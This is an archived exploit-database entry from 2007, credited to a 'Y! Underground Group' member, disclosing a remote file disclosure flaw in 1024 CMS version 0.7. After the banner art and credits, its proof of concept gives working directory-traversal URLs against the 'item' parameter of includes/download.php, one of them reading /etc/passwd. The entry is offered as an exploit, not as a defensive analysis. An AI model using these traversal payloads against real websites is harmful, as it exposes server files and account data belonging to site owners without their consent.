1024 CMS 0.7 (download.php item) Remote File Disclosure Vulnerability

2007-05-02T00:00:00
ID 1337DAY-ID-1814
Type zdt
Reporter Dj7xpl
Modified 2007-05-02T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================================
1024 CMS 0.7 (download.php item) Remote File Disclosure Vulnerability
=====================================================================


                                                       \#'#/
                                                       (-.-)
                              --------------------oOO---(_)---OOo-------------------
                              |                [ Y! Underground Group ]            |
                              ------------------------------------------------------


<--------------------------------------------------------------------------------------------------------------------->

 [!] Portal :  1024 CMS Version 0.7
 [!] Vendor :  http://www.treble.lfhost.com
 [!] Type   :  Remote File Disclosure Vuln
 [!] We Are :  Y4Ho0 -Mr.Mithridates -Sir SiSiLi -System Failure -Satanic Soulfull -And Me

<--------------------------------------------------------------------------------------------------------------------->

<--------------------------------------------------------------------------------------------------------------------->

PoC :

http://[Target]/[Path]/includes/download.php?item=../uploads/[File]
http://Target.com/1024/includes/download.php?item=../uploads/../../../../../etc/passwd

<--------------------------------------------------------------------------------------------------------------------->



#  0day.today [2018-02-27]  #